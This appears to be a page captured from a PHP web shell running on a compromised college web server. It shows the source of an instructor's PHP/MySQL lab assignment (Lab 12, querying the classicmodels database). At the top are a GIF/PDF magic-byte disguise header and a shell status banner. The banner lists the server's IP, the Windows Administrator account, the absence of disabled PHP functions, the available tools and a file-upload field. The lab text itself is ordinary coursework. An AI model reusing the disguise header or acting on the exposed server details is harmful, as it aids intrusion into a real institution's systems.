GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/CST1146/Labs/Lab12/ |
Upload File : |
<? // JimMartinson/CST1146/Labs/Lab12/Lab12.phpinc #if ( $_SESSION['userId'] == 1 ) $showEvaluationVariables = true; require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. #if ( $_SESSION['userId'] != 1 ) { require('Gradebook/EvaluationSubmission_END.phpinc'); exit; } include('common/Browser/Browser.phpinc'); $disabled = ''; $disabled = ' disabled'; // Comment this line to enable lab. // NOTE: Disable Include conf/extra/httpd-autoindex.conf line in the httpd.conf file before labs. // OR: Fix labs so Lab 4 mod_autoindex works as it should. ?> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Description</legend> The purpose of this lab is to demonstrate the use of php to query a MySQL database. <br><b class="warning">Warning: Do not perform this lab until <?=labLink(7,false,'')?> and <?=labLink(10,false,'')?> have been performed.</b> <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Instruction</legend> <ol class="count"> <!-- 1 --> <li>Create a directory called <b class="copyText"><?=$evaluationName?></b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?></b> directory. We will use it for all work performed in this lab.</li> <!-- 2 --> <li>Code a PHP file to select one row of data: <ol> <li>Create a PHP file named <b class="copyText"><?=$saveFilename?>_SelectEmployee.php</b> in the <b><?=$evaluationName?></b> directory and open it in an editor.</li> <li>Include the <b class="copyText">application.php</b> file.</li> <li>Call the <b class="php">beginPage</b> function with a parameter of <b class="copyText">Lab <?=$evaluationNumber?> - <?=$userFullName?> - Get one row</b>.</li> <li>Code a query to select one row of data. <ul> <li>Use the <b class="copyText">classicmodels</b> database.</li> <li>Select data from the <b>employees</b> table where the employeeNumber equals <b class="copyText">1165</b>.</li> <li>Display the employee's employeeNumber, firstName, lastName, and jobTitle on separate lines.</li> </ul> </li> <li>Call the <b class="php">endPage</b> function</li> <li>Save the <b><?=$saveFilename?>_SelectEmployee.php</b> file.</li> <li>Verify that your page works. <ol type="i"> <li>Start Apache if it is not running.</li> <li>Open up a browser.</li> <li>In the address bar enter <b class="copyText">http://localhost/CST1146/<?=$evaluationName?>/</b> and hit enter.</li> <li>Click on your <b><?=$saveFilename?>_SelectEmployee.php</b> file. <br>You should see a page like:<br> <? /**/ BrowserBegin('Lab '.$evaluationNumber.' - '.$userFullName,'http://localhost/CST1146/'.$saveFilename.'_SelectEmployee.php',820); ?> <h1 class="left">Lab <?=$evaluationNumber?> - <?=$userFullName?> - Get one row</h1> employeeNumber = 1165<br> firstName = Leslie<br> lastName = Jennings<br> jobTitle = Sales Rep <br><span style="color:silver; font-size:smaller">Written by <?=$userFullName?>.</span> <? BrowserEnd(); /**/ ?> If this is not what you see then you have errors in your code. </li> <li><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>_SelectEmployee.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory. <br>Make sure that the address bar is visible in your browser before saving the image. </li> </ol> </li> </ol> </li> <!-- 3 --> <li>Code a PHP file to select multiple rows data: <ol> <li>Create a PHP file named <b class="copyText"><?=$saveFilename?>_SelectMultiple.php</b> in the <b><?=$evaluationName?></b> directory and open it in an editor.</li> <li>Include the <b class="copyText">application.php</b> file.</li> <li>Call the <b class="php">beginPage</b> function with a parameter of <b class="copyText">Lab <?=$evaluationNumber?> - <?=$userFullName?> - Get multiple rows</b>.</li> <li>Code a query to select multiple rows of data. <ul> <li>Use the <b class="copyText">classicmodels</b> database.</li> <li>Select data from the <b>customers</b> table where the salesRepEmployeeNumber equals the employeeNumber used in step 2 and ordered by the customerName.</li> <li>Display an <span class="html"><h2></span> element with the content: <b class="copyText">Customers represented by</b> and the employee's firstName and lastName from the dataset in step 2.</span> </li> <li>Display the customers' customerNumber, customerName, contactFirstName, contactLastName, and phone in a table: <ul> <li>The table and table cells should have borders.</li> <li>Begin the table with a header row for <b>Number</b>, <b>Company Name</b>, <b>Contact Name</b>, and <b>Phone Number</b>.</li> <li>Concatenate the contactFirstName and contactLastName when displaying it under the <b>Contact Name</b> column.</li> <li>Format the phone value to include dashes (-) in the number like: 123-456-7890.</li> </ul> </li> </ul> </li> <li>Call the <b class="php">endPage</b> function</li> <li>Save the <b><?=$saveFilename?>_SelectMultiple.php</b> file.</li> <li>Verify that your page works. <ol type="i"> <li>Start Apache if it is not running.</li> <li>Open up a browser.</li> <li>In the address bar enter <b class="copyText">http://localhost/CST1146/<?=$evaluationName?>/</b> and hit enter.</li> <li>Click on your <b><?=$saveFilename?>_SelectMultiple.php</b> file. <br>You should see a page like:<br> <? /**/ BrowserBegin('Lab '.$evaluationNumber.' - '.$userFullName,'http://localhost/CST1146/'.$saveFilename.'_SelectMultiple.php',820); ?> <h1 class="left">Lab <?=$evaluationNumber?> - <?=$userFullName?> - Get multiple rows</h1> <h2>Customers represented by Leslie Jennings</h2> <style> table.example, table.example th, table.example td { border: 1px solid black; } </style> <table class="example"> <tr><th>Number</th><th>Company Name</th><th>Contact Name</th><th>Phone Number</th></tr> <tr><td>321</td><td>Corporate Gift Ideas Co.</td><td>Julie Brown</td><td>650-555-1386</td></tr> <tr><td>124</td><td>Mini Gifts Distributors Ltd.</td><td>Susan Nelson</td><td>415-555-1450</td></tr> <tr><td>129</td><td>Mini Wheels Co.</td><td>Julie Murphy</td><td>650-555-5787</td></tr> <tr><td>487</td><td>Signal Collectibles Ltd.</td><td>Sue Taylor</td><td>415-555-4312</td></tr> <tr><td>161</td><td>Technics Stores Inc.</td><td>Juri Hashimoto</td><td>650-555-6809</td></tr> <tr><td>450</td><td>The Sharp Gifts Warehouse</td><td>Sue Frick</td><td>408-555-3659</td></tr> </table> <span style="color:silver; font-size:smaller">Written by <?=$userFullName?>.</span> <? BrowserEnd(); /**/ ?> If this is not what you see then you have errors in your code. </li> <li><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>_SelectMultiple.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory. <br>Make sure that the address bar is visible in your browser before saving the image. </li> </ol> </li> </ol> </li> <!-- 4 --> <!-- 5 --> <!-- 6 --> <!-- 8 --> <!-- 9 --> <!-- 10 --> <li>Turn in your assignment: <ol> <li>Ensure the following files are in your <b><?=$evaluationName?></b> folder:<br> <? $fileList = array( 'application.php', $saveFilename.'_SelectEmployee.php', $saveFilename.'_SelectEmployee.png', $saveFilename.'_SelectMultiple.php', $saveFilename.'_SelectMultiple.png', ); natcasesort($fileList); foreach ($fileList as $fileName) { ?> <?=$fileName?><br> <? } ?> </li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <? require('../LabNotes.phpinc'); require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. ?>